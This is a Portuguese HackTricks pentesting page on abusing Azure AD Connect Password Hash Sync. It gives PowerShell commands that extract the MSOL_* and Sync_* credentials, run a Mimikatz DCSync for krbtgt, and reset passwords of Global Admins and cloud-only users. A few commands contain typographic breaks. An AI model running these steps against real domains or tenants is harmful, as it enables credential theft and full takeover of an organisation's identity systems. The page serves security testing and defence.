Az - PHS - Password Hash Sync

Support HackTricks

Informações Básicas

Dos documentos: A sincronização de hash de senha é um dos métodos de login usados para realizar identidade híbrida. Azure AD Connect sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada em nuvem.

É o método mais comum usado por empresas para sincronizar um AD local com o Azure AD.

Todos os usuários e um hash dos hashes de senha são sincronizados do local para o Azure AD. No entanto, senhas em texto claro ou os hashes originais não são enviados para o Azure AD. Além disso, grupos de segurança integrados (como administradores de domínio...) não são sincronizados com o Azure AD.

A sincronização de hashes ocorre a cada 2 minutos. No entanto, por padrão, a expiração de senha e a expiração de conta não são sincronizadas no Azure AD. Assim, um usuário cuja senha local expirou (não alterada) pode continuar a acessar recursos do Azure usando a senha antiga.

Quando um usuário local deseja acessar um recurso do Azure, a autenticação ocorre no Azure AD.

PHS é necessário para recursos como Proteção de Identidade e Serviços de Domínio AAD.

Pivotando

Quando o PHS é configurado, algumas contas privilegiadas são automaticamente criadas:

  • A conta MSOL_<installationID> é automaticamente criada no AD local. Esta conta recebe um papel de Contas de Sincronização de Diretório (veja documentação), o que significa que ela tem permissões de replicação (DCSync) no AD local.

  • Uma conta Sync_<nome do servidor ADConnect local>_installationID é criada no Azure AD. Esta conta pode reiniciar a senha de QUALQUER usuário (sincronizado ou apenas em nuvem) no Azure AD.

As senhas das duas contas privilegiadas anteriores são armazenadas em um servidor SQL no servidor onde Azure AD Connect está instalado. Os administradores podem extrair as senhas desses usuários privilegiados em texto claro. O banco de dados está localizado em C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

É possível extrair a configuração de uma das tabelas, sendo uma criptografada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

A configuração criptografada é criptografada com DPAPI e contém as senhas do usuário MSOL_* no AD local e a senha de Sync_* no AzureAD. Portanto, comprometendo essas informações, é possível realizar um privesc para o AD e para o AzureAD.

Você pode encontrar uma visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra.

Encontrando o servidor de conexão do Azure AD

Se o servidor onde o Azure AD connect está instalado estiver associado ao domínio (recomendado na documentação), é possível encontrá-lo com:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusando MSOL_*

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Você também pode usar adconnectdump para obter essas credenciais.

Abusando Sync_*

Comprometendo a conta Sync_* é possível reiniciar a senha de qualquer usuário (incluindo Administradores Globais)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

É também possível modificar as senhas de apenas usuários da nuvem (mesmo que isso seja inesperado)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

É também possível extrair a senha deste usuário.

Outra opção seria atribuir permissões privilegiadas a um principal de serviço, que o usuário Sync tem permissões para fazer, e então acessar esse principal de serviço como uma forma de privesc.

SSO Sem Costura

É possível usar SSO Sem Costura com PHS, que é vulnerável a outros abusos. Confira em:

Az - Seamless SSO

Referências

Support HackTricks

Last updated